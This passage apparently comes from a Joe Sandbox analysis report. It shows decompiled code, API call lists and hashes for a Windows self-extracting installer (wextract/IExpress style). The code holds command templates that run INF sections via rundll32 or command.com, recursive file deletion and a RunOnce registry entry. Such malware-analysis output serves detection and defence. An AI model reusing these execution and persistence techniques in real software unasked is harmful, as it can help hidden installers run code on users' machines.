									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0xf39120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0xf31140, _t156, 8,  &_v268) == 0) {
										 *0xf39a34 =  *0xf39a34 & 0xfffffffb;
										if( *0xf39a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E00F3171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0xf39a34 =  *0xf39a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00F31680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00F31680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00F36CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00f31af3
0x00f31afa
0x00f31b07
0x00f31b09
0x00f31b1a
0x00f31b20
0x00f31b2c
0x00f31b3b
0x00f31b40
0x00f31b2e
0x00f31b2e
0x00f31b33
0x00f31b33
0x00f31b46
0x00f31b4c
0x00f31b52
0x00f31b57
0x00f31b5d
0x00f31b61
0x00f31b9f
0x00f31b9f
0x00f31bb1
0x00f31bc2
0x00000000
0x00f31b63
0x00f31b63
0x00f31b65
0x00f31b68
0x00f31b68
0x00f31b6a
0x00f31b6b
0x00f31b6f
0x00f31b74
0x00000000
0x00000000
0x00f31b76
0x00f31b7b
0x00f31b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00f31b8c
0x00f31b8c
0x00f31b98
0x00f31bc7
0x00f31bc9
0x00f31bcc
0x00f31bd3
0x00f31d75
0x00f31d76
0x00f31d78
0x00f31d7f
0x00f31e05
0x00f31e09
0x00000000
0x00000000
0x00f31e12
0x00f31e1b
0x00f31e73
0x00f31e21
0x00f31e21
0x00f31e28
0x00f31e37
0x00f31e3e
0x00f31e52
0x00f31e60
0x00f31e60
0x00f31e3e
0x00f31e79
0x00f31e7b
0x00f31e84
0x00000000
0x00f31d9b
0x00f31d9b
0x00f31da0
0x00f31da2
0x00f31da5
0x00f31da5
0x00f31da7
0x00f31da8
0x00f31dac
0x00f31dae
0x00f31db4
0x00f31db7
0x00f31db7
0x00f31db9
0x00f31dba
0x00f31dbe
0x00f31dc3
0x00f31dce
0x00f31dd2
0x00f31deb
0x00000000
0x00f31df0
0x00000000
0x00f31dd2
0x00f31bf7
0x00f31bfe
0x00f31c07
0x00f31d55
0x00f31d5a
0x00f31d5b
0x00f31d5d
0x00f31d5e
0x00000000
0x00f31c1b
0x00f31c1b
0x00f31c20
0x00f31c2c
0x00f31c33
0x00f31c38
0x00f31c3a
0x00f31c3a
0x00f31c40
0x00f31c4b
0x00f31c4b
0x00f31c5d
0x00f31c61
0x00f31dd4
0x00f31dd4
0x00f31dd6
0x00f31ddb
0x00f31ddc
0x00f31dde
0x00f31d64
0x00f31d64
0x00f31d67
0x00f31d6c
0x00000000
0x00f31c67
0x00f31c67
0x00f31c6d
0x00f31c72
0x00f31c74
0x00f31c74
0x00f31c8e
0x00f31c99
0x00f31cc0
0x00f31cf8
0x00f31d07
0x00f31d23
0x00f31d09
0x00f31d14
0x00f31d1b
0x00f31d1b
0x00f31d2b
0x00f31d2d
0x00f31d2d
0x00f31d38
0x00f31d39
0x00f31d46
0x00f31cc2
0x00f31cc2
0x00f31ccc
0x00f31cce
0x00f31cce
0x00f31cdb
0x00f31ce6
0x00f31cee
0x00f31cee
0x00f31e89
0x00f31e91
0x00f31e92
0x00f31e94
0x00f31e97
0x00f31ea4
0x00f31ea4
0x00f31c61
0x00f31c07
0x00f31bd3
0x00f31b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F31BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F31BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F31C57
GetPrivateProfileIntA.KERNEL32 ref: 00F31C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00F31140,00000000,00000008,?), ref: 00F31CB8
GetShortPathNameA.KERNEL32 ref: 00F31D1B

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F34554

Strings

.INF, xrefs: 00F31BDB
", xrefs: 00F31B25
Version, xrefs: 00F31CB3
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F31BA0
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00F31D3B
setupapi.dll, xrefs: 00F31D23, 00F31D3A
DefaultInstall, xrefs: 00F31C74, 00F31C87, 00F31CCE, 00F31CD3, 00F31D2D, 00F31D39
Command.com /c %s, xrefs: 00F31D9B, 00F31DE8
AdvancedINF, xrefs: 00F31CAE
Reboot, xrefs: 00F31C82
setupx.dll, xrefs: 00F31D14
.BAT, xrefs: 00F31D83

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3964152161
Opcode ID: 4f61784907ab5529a9bbe6f5a6cf286b52259734eb9d40cc78723bcebf600c1a
Instruction ID: 0e3030ff74f57f71bb16d0ff7dac3a0ec21a733492491797522e187f12132c8b
Opcode Fuzzy Hash: 4f61784907ab5529a9bbe6f5a6cf286b52259734eb9d40cc78723bcebf600c1a
Instruction Fuzzy Hash: C2A14BB1E002186BEF20AB24CC45FEA7769FB91330F144295F595A32D1DBB49EC6EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F32F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F32F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0xf38004; // 0xc69e30f7
				_v8 = _t9 ^ _t46;
				if( *0xf38a38 != 0) {
					L5:
					_t11 = E00F35164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00F36CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E00F355A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E00F3658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0xf3a288("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0xf38a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0xf38a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0xf38d48 & 0x000000c0;
									if(( *0xf38d48 & 0x000000c0) == 0) {
										_t41 =  *0xf39a40; // 0x3, executed
										_t26 = E00F3256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0xf38a24; // 0x0
									 *0xf39a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0xf38a38;
										if( *0xf38a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00F34169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0xf39a30 - _t22; // 0x0
										if(__eflags != 0) {
											goto L26;
										}
										_t25 = E00F33BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0xf38a24; // 0x0
										goto L26;
									}
								}
								_t27 = E00F33B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E00F344B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0xf39124 = E00F36285();
							goto L16;
						}
						_t59 =  *0xf39a30 - _t44; // 0x0
						if(_t59 != 0) {
							goto L14;
						}
						_t30 = E00F3621E(); // executed
						if(_t30 == 0) {
							goto L16;
						}
						goto L14;
					}
				}
				_t49 =  *0xf38a24;
				if( *0xf38a24 != 0) {
					L4:
					_t34 = E00F33A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E00F351E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0xf38a38;
				if( *0xf38a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x00f32f1d
0x00f32f28
0x00f32f2f
0x00f32f3d
0x00f32f6c
0x00f32f6c
0x00f32f71
0x00f32f73
0x00f33041
0x00f33041
0x00f33043
0x00f33053
0x00f33053
0x00f32f79
0x00f32f80
0x00000000
0x00f32f86
0x00f32f86
0x00f32f93
0x00f32f9e
0x00f32fa0
0x00f32fa6
0x00f32fb8
0x00f32fba
0x00f32fbe
0x00f32fc6
0x00f32fcc
0x00f32fd4
0x00f32fd6
0x00f32fd8
0x00f32fe0
0x00f32fe6
0x00f32fee
0x00f32ff0
0x00f32ff5
0x00f32ff5
0x00f32fee
0x00f32fd4
0x00f32ff8
0x00f32ffe
0x00f33004
0x00f33017
0x00f3301c
0x00f33024
0x00f33054
0x00f3305a
0x00f33065
0x00f33065
0x00f3306c
0x00f3306e
0x00f33075
0x00f3307a
0x00f3307a
0x00f3307c
0x00f33081
0x00f33087
0x00f33089
0x00f330a1
0x00f330a1
0x00f330a9
0x00f330ab
0x00f330ad
0x00f330af
0x00f330af
0x00f330ad
0x00f330b6
0x00000000
0x00f3308b
0x00f3308b
0x00f33091
0x00000000
0x00000000
0x00f33093
0x00f33098
0x00f3309a
0x00000000
0x00000000
0x00f3309c
0x00000000
0x00f3309c
0x00f33089
0x00f3305c
0x00f33061
0x00f33063
0x00000000
0x00000000
0x00000000
0x00f33063
0x00f3302b
0x00f33032
0x00f3303c
0x00000000
0x00f3303c
0x00f33006
0x00f3300c
0x00000000
0x00000000
0x00f3300e
0x00f33015
0x00000000
0x00000000
0x00000000
0x00f33015
0x00f32f80
0x00f32f3f
0x00f32f46
0x00f32f5f
0x00f32f5f
0x00f32f64
0x00f32f66
0x00000000
0x00000000
0x00000000
0x00f32f66
0x00f32f4f
0x00000000
0x00000000
0x00f32f55
0x00f32f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 00F32F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 00F32FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 00F32FC6
DecryptFileA.ADVAPI32 ref: 00F32FE6
FreeLibrary.KERNEL32(00000000), ref: 00F32FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\), ref: 00F3301C

Part of subcall function 00F351E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F32F4D,?,00000002,00000000), ref: 00F35201

Strings

DecryptFileA, xrefs: 00F32FC0
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F32FDB, 00F33017
advapi32.dll, xrefs: 00F32F99

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-1230860006
Opcode ID: 7654d87dc972e9e82381b397ed4121d36e7014945ca24ff4284b208cecea7fba
Instruction ID: 8566ff4632eac67fdf24746bc968ba4cee672b886af7712ea87ad8c621b60e00
Opcode Fuzzy Hash: 7654d87dc972e9e82381b397ed4121d36e7014945ca24ff4284b208cecea7fba
Instruction Fuzzy Hash: C7419671E003099ADF38EB72DC4565A73AAAB547B4F010165F941D2191EFBCCF81FA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F32390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00F32390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0xf38004; // 0xc69e30f7
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00F36CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00F31680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E00F316B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00F31680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E00F316B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E00F316B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E00F3658A( &_v280, 0x104, 0xf31140);
								E00F32390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00f32398
0x00f3239e
0x00f323a3
0x00f323a5
0x00f323ae
0x00f323b3
0x00f324cb
0x00f324d2
0x00f324d3
0x00f324d4
0x00f324df
0x00f323c2
0x00f323d1
0x00f323db
0x00f323e4
0x00f323f6
0x00f323fc
0x00f32401
0x00000000
0x00000000
0x00000000
0x00000000
0x00f32407
0x00f32407
0x00f32408
0x00f32411
0x00f3241f
0x00f3247a
0x00f32483
0x00f32495
0x00f324a3
0x00f32421
0x00f3242f
0x00f32453
0x00f3245d
0x00f32466
0x00f32472
0x00f32472
0x00f3242f
0x00f324af
0x00f324b5
0x00f324be
0x00f324c5
0x00000000
0x00f324c5

APIs

FindFirstFileA.KERNELBASE(?,00F38A3A,00F311F4,00F38A3A,00000000,?,?), ref: 00F323F6
lstrcmpA.KERNEL32(?,00F311F8), ref: 00F32427
lstrcmpA.KERNEL32(?,00F311FC), ref: 00F3243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00F32495
DeleteFileA.KERNEL32(?), ref: 00F324A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00F324AF
FindClose.KERNELBASE(00000000), ref: 00F324BE
RemoveDirectoryA.KERNELBASE(00F38A3A), ref: 00F324C5

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 1db0fc4e622f3b9a0d8ef2df5df2030461dd59d7bf8c0763150201d238e65486
Instruction ID: bcbe3d646cc6b3d69582e6798abe3e907d5e8f5a5dd57cf7606e5d27e561ecc9
Opcode Fuzzy Hash: 1db0fc4e622f3b9a0d8ef2df5df2030461dd59d7bf8c0763150201d238e65486
Instruction Fuzzy Hash: F1319572604744ABC320EBA4CC89AEB73EDBFC4335F04492DB59586291EB78D90DE752

Uniqueness

Uniqueness Score: -1.00%

Function 00F32BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00F32BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0xf3a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0xf39124 = 0;
				if(E00F32CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00F32F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E00F352B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0xf38a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0xf39a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00F31F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0xf38588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xf39124; // 0x0
				return _t7;
			}

0x00f32c03
0x00f32c0d
0x00f32c18
0x00f32c20
0x00f32c2e
0x00f32c32
0x00f32c36
0x00f32c3d
0x00f32c43
0x00f32c45
0x00f32c47
0x00f32c49
0x00f32c4e
0x00f32c4e
0x00f32c47
0x00f32c32
0x00f32c20
0x00f32c50
0x00f32c54
0x00f32c57
0x00f32c64
0x00f32c66
0x00f32c6b
0x00f32c6d
0x00f32c74
0x00f32c76
0x00f32c7c
0x00f32c7e
0x00f32c87
0x00f32c89
0x00f32c89
0x00f32c87
0x00f32c7c
0x00f32c74
0x00f32c8e
0x00f32c95
0x00f32c98
0x00f32c98
0x00f32c9e
0x00f32ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00F36BB0,00F30000,00000000,00000002,0000000A), ref: 00F32C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00F36BB0,00F30000,00000000,00000002,0000000A), ref: 00F32C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00F32C28
CloseHandle.KERNEL32(00000000,?,?,00F36BB0,00F30000,00000000,00000002,0000000A), ref: 00F32C98

Strings

Kernel32.dll, xrefs: 00F32C13
HeapSetInformation, xrefs: 00F32C22

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 19c3378f22f787eeab0b53b9ec5d5d68847efd3a39179f60347ff1b33f9f2e72
Instruction ID: 724c2df33bfc7905e2df47a82dbea46afb4cdb3b97471573ea5ac1131915ef18
Opcode Fuzzy Hash: 19c3378f22f787eeab0b53b9ec5d5d68847efd3a39179f60347ff1b33f9f2e72
Instruction Fuzzy Hash: 6711E571A00309ABDB607BB6AC88A6F375AAB847F0F141015F980E3290DA75DC01B6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F36F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F36F40() {

				SetUnhandledExceptionFilter(E00F36EF0); // executed
				return 0;
			}

0x00f36f45
0x00f36f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00F36F45

Memory Dump Source

Source File: 00000001.00000002.319721408.0000000000F31000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000001.00000002.319714068.0000000000F30000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319734503.0000000000F38000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.319741169.0000000000F3C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f30000_bPsg.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8c281552e03e18a620c03b44833a1e83e8f776d25a598ba0f8af5c849c226d3a
Instruction ID: f7074f9b853668480f4e9000df7ddf982b9ad0ab9f3fb230a17b0718311d7d32
Opcode Fuzzy Hash: 8c281552e03e18a620c03b44833a1e83e8f776d25a598ba0f8af5c849c226d3a
Instruction Fuzzy Hash: 7B9002642511045796102B719D1D41976925B4D623F829460A051C8495DB6180847917

Uniqueness

Uniqueness Score: -1.00%

Function 00F3202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E00F3202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0xf38004; // 0xc69e30f7
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00F36CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E00F3171E("wextract_cleanup1", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup1", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E00F3658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0xf39a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0xf391e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0xf391e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0xf391e5);
						if(_t90 != 0) {
							 *0xf38580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
							E00F3171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup1", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E00F344B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E00F3658A( &_v268, 0x104, 0xf31140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0xf38530 = _t66;
				goto L23;
			}

0x00f3202a
0x00f32035
0x00f3203c
0x00f32041
0x00f32050
0x00f3205f
0x00f32064
0x00f3206f
0x00f3208c
0x00f32094
0x00f32257
0x00f32266
0x00f32266
0x00f3209a
0x00f3209b
0x00f3209d
0x00f320aa
0x00f320af
0x00f320c9
0x00f320d1
0x00000000
0x00000000
0x00f320d3
0x00f320da
0x00000000
0x00000000
0x00000000
0x00f320da
0x00f320e2
0x00f32103
0x00f3210e
0x00f32116
0x00f32122
0x00f32128
0x00f3212c
0x00f32179
0x00f32194
0x00f321de
0x00f321e4
0x00f32256
0x00f32256
0x00000000
0x00f32256
0x00f32196
0x00f32196
0x00f3219c
0x00f3219f
0x00f3219f
0x00f321a1
0x00f321a2
0x00f321a6
0x00f321a8
0x00f321b0
0x00f321b0
0x00f321b2
0x00f321b3
0x00f321bc
0x00f321c7
0x00f321cb
0x00f321f1
